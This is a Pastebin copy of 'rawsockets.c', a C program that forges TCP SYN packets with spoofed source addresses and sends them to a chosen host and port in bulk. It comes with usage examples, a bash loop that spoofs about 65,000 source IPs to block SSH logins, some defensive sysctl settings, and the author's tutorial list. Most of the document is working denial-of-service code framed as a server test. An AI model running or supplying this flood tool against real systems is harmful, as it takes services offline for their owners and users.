Guest User

rawsockets.c

a guest
Feb 21st, 2016
186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.82 KB | None | 0 0
  1. SourceForge.net Logo
  2. /* Copyright GPL 2003 by Mike Chirico <[email protected]>
  3.  
  4.  
  5. How to use this program.
  6.  
  7. You must run this program as root, since it generates raw sockets. The
  8. following example does a ping SYN flood against 192.168.1.71 2000000 time
  9. on port 80.
  10.  
  11. $./rawsockets -s 192.168.1.155 -d 192.168.1.71 -n 2000000 -p 80
  12.  
  13.  
  14. How do you prevent against such an attack? See the following article:
  15. http://souptonuts.sourceforge.net/tcpdump_tutorial.html
  16.  
  17.  
  18.  
  19.  
  20. References:
  21. $ man packet
  22.  
  23. http://www.infosecwriters.com/text_resources/pdf/raw_tcp.pdf
  24. http://www.linuxjournal.com/article/4659
  25. http://www.cs.huji.ac.il/labs/danss/planetlab/SafeRawSockets.pdf
  26. http://www.securityfocus.com/infocus/1729
  27. http://post.doit.wisc.edu/linux/secure.html
  28. http://staff.washington.edu/dittrich/misc/ddos/
  29. http://www.ibr.cs.tu-bs.de/lehre/ws0405/sec/uebung/uebung4.pdf
  30. ftp://rtfm.mit.edu/pub/usenet-by-group/comp.unix.programmer/Raw_IP_Networking_FAQ
  31.  
  32. ##### Begin DoS Prevention #####
  33. # shut some DoS stuff down
  34. echo 1 > /proc/sys/net/ipv4/tcp_syncookies
  35. echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
  36. echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
  37.  
  38. # increase the local port range
  39. echo 1024 65535 > /proc/sys/net/ipv4/ip_local_port_range
  40.  
  41. # increase the SYN backlog queue
  42. echo 2048 > /proc/sys/net/ipv4/tcp_max_syn_backlog
  43.  
  44. echo 0 > /proc/sys/net/ipv4/tcp_sack
  45. echo 0 > /proc/sys/net/ipv4/tcp_timestamps
  46.  
  47. echo 64000 > /proc/sys/fs/file-max
  48.  
  49. ulimit -n 64000
  50.  
  51.  
  52. Run the following on a client to test a server against DOS. Below the following
  53. works against port 22. You will not be able to login.
  54.  
  55. #!/bin/bash
  56. for j in `seq 254`
  57. do
  58. for i in `seq 256`
  59. do
  60. ./rawsockets -s "192.168.$j.$i" -d 192.168.1.71 -p 22 -n 1
  61. done
  62. done
  63.  
  64. While the above is running issue the following command on the server.
  65.  
  66. $ echo 1 > /proc/sys/net/ipv4/tcp_syncookies
  67.  
  68. Also take a look at the number of half-open connections.
  69.  
  70. $ netstat -n -t|grep 'SYN_RECV'
  71.  
  72.  
  73.  
  74. If you want to set the SackOK
  75.  
  76. $ ./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1 -w 4 -x 2
  77.  
  78. Or if you want to set SackOK and mss to 1460
  79.  
  80. $ ./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1 -w 4 -x 2 -y 2 -z 4 -g 5 -h 180
  81.  
  82. References for TCP options:
  83. http://www.packetshack.org/index.php?page=decode_tcp_opt
  84.  
  85.  
  86. */
  87.  
  88.  
  89. #define __USE_BSD
  90. #include <sys/socket.h>
  91. #include <netinet/in.h>
  92. #include <netinet/ip.h>
  93. #include <arpa/inet.h>
  94. #define __FAVOR_BSD
  95. #include <netinet/tcp.h>
  96. #include <unistd.h>
  97. #include <time.h>
  98. #include <stdlib.h>
  99. #include <string.h>
  100. #include <stdio.h>
  101.  
  102. struct tcp_options
  103. {
  104. u_int8_t op0;
  105. u_int8_t op1;
  106. u_int8_t op2;
  107. u_int8_t op3;
  108. u_int8_t op4;
  109. u_int8_t op5;
  110. u_int8_t op6;
  111. u_int8_t op7;
  112. };
  113.  
  114.  
  115.  
  116. char datagram[4096]; /* datagram buffer */
  117. char pheader[1024]; /* pseudoheader buffer for computing tcp checksum */
  118.  
  119. uint16_t csum (uint16_t * addr, int len)
  120. {
  121. int nleft = len;
  122. uint32_t sum = 0;
  123. uint16_t *w = addr;
  124. uint16_t answer = 0;
  125.  
  126. while( nleft > 1 ) {
  127. sum += *w++;
  128. nleft -= 2;
  129. }
  130. if (nleft == 1) {
  131. *(unsigned char *) (&answer) = *(unsigned char *) w;
  132. sum += answer;
  133. }
  134. sum = (sum >> 16)+(sum & 0xffff);
  135. sum += (sum >> 16);
  136. answer = ~sum;
  137. return (answer);
  138. }
  139.  
  140. int main(int argc, char **argv)
  141. {
  142.  
  143. int flags = 0, c, numtries=90;
  144. char src_ip[17];
  145. char dst_ip[17];
  146. short dst_port=80;
  147. short th_sport=1234;
  148. short tcp_flags=TH_SYN;
  149. short pig_ack=0;
  150. struct ip *iph = (struct ip *) datagram;
  151. struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
  152. struct tcp_options *tcpopt = (struct tcp_options *) (datagram + sizeof(struct ip) + sizeof(struct tcphdr));
  153. struct sockaddr_in servaddr;
  154. memset(datagram, 0, 4096); /* zero out the buffer */
  155.  
  156. fprintf(stderr,"sizeof (struct ip)= %d\n",sizeof(struct ip));
  157.  
  158.  
  159. snprintf(src_ip,16,"%s","192.168.8.12"); //default
  160.  
  161. while ((c = getopt(argc, argv, "s:d:n:p:f:a:q:w:x:y:z:g:h:i:j:")) != -1) {
  162. switch (c) {
  163. case 's':
  164. flags |= 0x1;
  165. snprintf(src_ip,16,"%s",optarg);
  166. break;
  167. case 'd':
  168. flags |= 0x2;
  169. snprintf(dst_ip,16,"%s",optarg);
  170. break;
  171. case 'n':
  172. flags |= 0x4;
  173. numtries=atoi(optarg);
  174. break;
  175. case 'p':
  176. flags |= 0x8;
  177. dst_port=atoi(optarg);
  178. break;
  179. case 'f':
  180. tcp_flags=atoi(optarg);
  181. break;
  182. case 'a':
  183. pig_ack=atoi(optarg);
  184. break;
  185. case 'q':
  186. th_sport=atoi(optarg);
  187. break;
  188. case 'w':
  189. tcpopt->op0=atoi(optarg);
  190. break;
  191. case 'x':
  192. tcpopt->op1=atoi(optarg);
  193. break;
  194. case 'y':
  195. tcpopt->op2=atoi(optarg);
  196. break;
  197. case 'z':
  198. tcpopt->op3=atoi(optarg);
  199. break;
  200. case 'g':
  201. tcpopt->op4=atoi(optarg);
  202. break;
  203. case 'h':
  204. tcpopt->op5=atoi(optarg);
  205. break;
  206. case 'i':
  207. tcpopt->op6=atoi(optarg);
  208. break;
  209. case 'j':
  210. tcpopt->op7=atoi(optarg);
  211. break;
  212. case '?':
  213. flags |= 0x10;
  214. fprintf(stderr, "Unrecognized option \n");
  215. break;
  216. }
  217. }
  218.  
  219. if(! ( flags & 0x2 ) ) {
  220. fprintf(stderr,"\nrawsockets -s <source ip> -d <destination ip> -p <port> -n <number of SYN floods>\n");
  221. fprintf(stderr,"\nYou must give me a destination\n");
  222. fprintf(stderr," Example:\n\t\t./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1\n");
  223. fprintf(stderr," Or with SackOK :\n\t\t./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1 -w 4 -x 2\n");
  224. fprintf(stderr," SackOK and mss 1460:\n\t\t./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1 -w 4 -x 2 -y 2 -z 4 -g 5 -h 180\n");
  225.  
  226.  
  227.  
  228.  
  229. return 1;
  230.  
  231. }
  232. if(getuid( )){
  233. fprintf(stderr,"\n Also, you must be root to run this program: ./su -c \"./rawsockets -s <source ip> -d <destination ip> -p 80 -n 2000\"\n");
  234. return 1;
  235. }
  236.  
  237. fprintf(stdout,"src %s dst %s number of tries %d\n",src_ip,dst_ip,numtries);
  238.  
  239.  
  240.  
  241.  
  242.  
  243.  
  244. int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket */
  245. servaddr.sin_family = AF_INET;
  246. // servaddr.sin_port = htons (10000);
  247. //OLD WAY servaddr.sin_addr.s_addr = inet_addr (dst_ip); /* destination ip */
  248. inet_pton(AF_INET, dst_ip,&servaddr.sin_addr);
  249. int tcphdr_size = sizeof(struct tcphdr);
  250.  
  251. iph->ip_hl = 5;
  252. iph->ip_v = 4;
  253. iph->ip_tos = 0;
  254. iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr) + 8 +6 +6; /* data size = 0, but tcp using option flags */
  255. iph->ip_id = htons (31337);
  256. iph->ip_off = 0;
  257. iph->ip_ttl = 250;
  258. iph->ip_p = 6;
  259. iph->ip_sum = 0;
  260. //OLD WAY iph->ip_src.s_addr = inet_addr (src_ip);/* source ip */
  261. inet_pton(AF_INET, src_ip, &(iph->ip_src));
  262. iph->ip_dst.s_addr = servaddr.sin_addr.s_addr;
  263.  
  264. tcph->th_sport = htons (th_sport); /* source port */
  265. tcph->th_dport = htons (dst_port); /* destination port */
  266. tcph->th_seq = htonl(31337);
  267. tcph->th_ack = htonl(pig_ack);/* in first SYN packet, ACK is not present */
  268. tcph->th_x2 = 0;
  269. // tcph->th_off = sizeof(struct tcphdr)/4; /* data position in the packet */
  270. // Special chirico adjustment to give 2x32
  271. tcph->th_off = 7+2+1 ;
  272.  
  273. fprintf(stderr,"Data offset %d sizeof(struct tcphdr)=%d\n",tcph->th_off,sizeof(struct tcphdr));
  274. /*
  275. # define TH_FIN 0x01
  276. # define TH_SYN 0x02
  277. # define TH_RST 0x04
  278. # define TH_PUSH 0x08
  279. # define TH_ACK 0x10
  280. # define TH_URG 0x20
  281.  
  282.  
  283.  
  284.  
  285. */
  286.  
  287.  
  288.  
  289. tcph->th_flags = tcp_flags; /* initial connection request */
  290. tcph->th_win = htons (57344); /* FreeBSD uses this value too */
  291. tcph->th_sum = 0; /* we will compute it later */
  292. tcph->th_urp = 0;
  293. if (tcphdr_size % 4 != 0) /* takes care of padding to 32 bits */
  294. tcphdr_size = ((tcphdr_size % 4) + 1) * 4;
  295. fprintf(stderr,"tcphdr_size %d\n",tcphdr_size);
  296. tcphdr_size=40;
  297. fprintf(stderr,"tcphdr_size %d\n",tcphdr_size);
  298.  
  299. memset(pheader,0x0,sizeof(pheader));
  300. memcpy(&pheader,&(iph->ip_src.s_addr),4);
  301. memcpy(&pheader[4],&(iph->ip_dst.s_addr),4);
  302. pheader[8]=0; // just to underline this zero byte specified by rfc
  303. pheader[9]=(u_int16_t)iph->ip_p;
  304. pheader[10]=(u_int16_t)(tcphdr_size & 0xFF00)>>8;
  305. pheader[11]=(u_int16_t)(tcphdr_size & 0x00FF);
  306.  
  307. /* tcpopt->op0=4; sackOK
  308. tcpopt->op1=2;
  309. */
  310. memcpy(&pheader[12], tcph, sizeof(struct tcphdr));
  311. memcpy(&pheader[12+ sizeof(struct tcphdr)], tcpopt, sizeof(struct tcp_options));
  312.  
  313. fprintf(stderr,"12+sizeof(struct tcphdr)= %d %d\n",12+sizeof(struct tcphdr),sizeof(struct tcp_options));
  314. /* This is an example of setting SackOK we need to set it in the
  315. header for checksum and in the actual data. This should only get
  316. sent when using SYN? */
  317.  
  318. //pheader[32]=4;
  319. // pheader[33]=2;
  320.  
  321. //datagram[40]=4;
  322. //datagram[41]=2;
  323.  
  324.  
  325.  
  326. fprintf(stderr,"********** %d %d\n",tcpopt->op0,datagram[40]);
  327. fprintf(stderr,"********** %d %d\n",tcpopt->op1,datagram[41]);
  328.  
  329.  
  330. fprintf(stderr,"csum size is %d\n",tcphdr_size+12);
  331.  
  332.  
  333.  
  334.  
  335.  
  336. tcph->th_sum = csum ((uint16_t *) (pheader),tcphdr_size+12);
  337.  
  338.  
  339. // iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);
  340.  
  341. int one = 1;
  342. const int *val = &one;
  343. if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0){
  344. fprintf(stderr,"Error: setsockopt. You need to run this program as root\n");
  345. return -1;
  346. }
  347.  
  348.  
  349. int modval= numtries / 15;
  350. if (modval < 2) modval = 2;
  351. int ft=0;
  352. while(numtries-- > 0)
  353. {
  354.  
  355.  
  356. if (sendto (s,datagram,iph->ip_len ,0,(struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)
  357. {
  358. fprintf(stderr,"Error in sendto\n");
  359. exit(1);
  360. } else {
  361.  
  362. if(ft==0) {
  363. fprintf(stderr,"[****************]\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b");
  364. ft=1;
  365. }
  366.  
  367. if ( (numtries % modval) == 0 )
  368. fprintf(stderr,".");
  369.  
  370. }
  371. }
  372.  
  373.  
  374.  
  375. fprintf(stderr,"sizeof(struct tcp_options)=%d\n",sizeof(struct tcp_options));
  376. return 0;
  377. }
  378.  
  379.  
  380. Tutorials
  381.  
  382. Linux System Admin Tips: There are over 190 Linux tips and tricks in this article. That is over 100 pages covering everything from NTP, setting up 2 IP address on one NIC, sharing directories among several users, putting running jobs in the background, find out who is doing what on your system by examining open sockets and the ps command, how to watch a file, how to prevent even root from deleting a file, tape commands, setting up cron jobs, using rsync, using screen conveniently with emacs, how to kill every process for a user, security tips and a lot more. These tip grow weekly. The above link will download the text version for easy grep searching.
  383.  
  384. Breaking Firewalls with OpenSSH and PuTTY: If the system administrator deliberately filters out all traffic except port 22 (ssh), to a single server, it is very likely that you can still gain access other computers behind the firewall. This article shows how remote Linux and Windows users can gain access to firewalled samba, mail, and http servers. In essence, it shows how openSSH and Putty can be used as a VPN solution for your home or workplace.
  385.  
  386. MySQL Tips and Tricks: Find out who is doing what in MySQL and how to kill the process, create binary log files, connect, create and select with Perl and Java, remove duplicates in a table with the index command, rollback and how to apply, merging several tables into one, updating foreign keys, monitor port 3306 with the tcpdump command, creating a C API, complex selects, and much more.
  387.  
  388. Create a Live Linux CD - BusyBox and OpenSSH Included: These steps will show you how to create a functioning Linux system, with the latest 2.6 kernel compiled from source, and how to integrate the BusyBox utilities including the installation of DHCP. Plus, how to compile in the OpenSSH package on this CD based system. On system boot-up a filesystem will be created and the contents from the CD will be uncompressed and completely loaded into RAM -- the CD could be removed at this point for boot-up on a second computer. The remaining functioning system will have full ssh capabilities. You can take over any PC assuming, of course, you have configured the kernel with the appropriate drivers and the PC can boot from a CD. This tutorial steps you through the whole processes.
  389.  
  390. SQLite Tutorial : This article explores the power and simplicity of sqlite3, first by starting with common commands and triggers, then the attach statement with the union operation is introduced in a way that allows multiple tables, in separate databases, to be combined as one virtual table, without the overhead of copying or moving data. Next, the simple sign function and the amazingly powerful trick of using this function in SQL select statements to solve complex queries with a single pass through the data is demonstrated, after making a brief mathematical case for how the sign function defines the absolute value and IF conditions.
  391.  
  392. The Lemon Parser Tutorial: This article explains how to build grammars and programs using the lemon parser, which is faster than yacc. And, unlike yacc, it is thread safe.
  393.  
  394. How to Compile the 2.6 kernel for Red Hat 9 and 8.0 and get Fedora Updates: This is a step by step tutorial on how to compile the 2.6 kernel from source.
  395.  
  396. Virtual Filesystem: Building A Linux Filesystem From An Ordinary File. You can take a disk file, format it as ext2, ext3, or reiser filesystem and then mount it, just like a physical drive. Yes, it then possible to read and write files to this newly mounted device. You can also copy the complete filesystem, since it is just a file, to another computer. If security is an issue, read on. This article will show you how to encrypt the filesystem, and mount it with ACL (Access Control Lists), which give you rights beyond the traditional read (r) write (w) and execute (x) for the 3 user groups file, owner and other.
  397.  
  398. Working With Time: What? There are 61 seconds in a minute? We can go back in time? We still tell time by the sun?
  399.  
  400.  
  401. Chirico img Mike Chirico, a father of triplets (all girls) lives outside of Philadelphia, PA, USA. He has worked with Linux since 1996, has a Masters in Computer Science and Mathematics from Villanova University, and has worked in computer-related jobs from Wall Street to the University of Pennsylvania. His hero is Paul Erdos, a brilliant number theorist who was known for his open collaboration with others.
  402.  
  403.  
  404. Mike's notes page is souptonuts. For open source consulting needs, please send an email to [email protected]. All consulting work must include a donation to SourceForge.net.
  405. SourceForge.net Logo
  406.  
  407. SourceForge.net Logo
Advertisement
Add Comment
Please, Sign In to add comment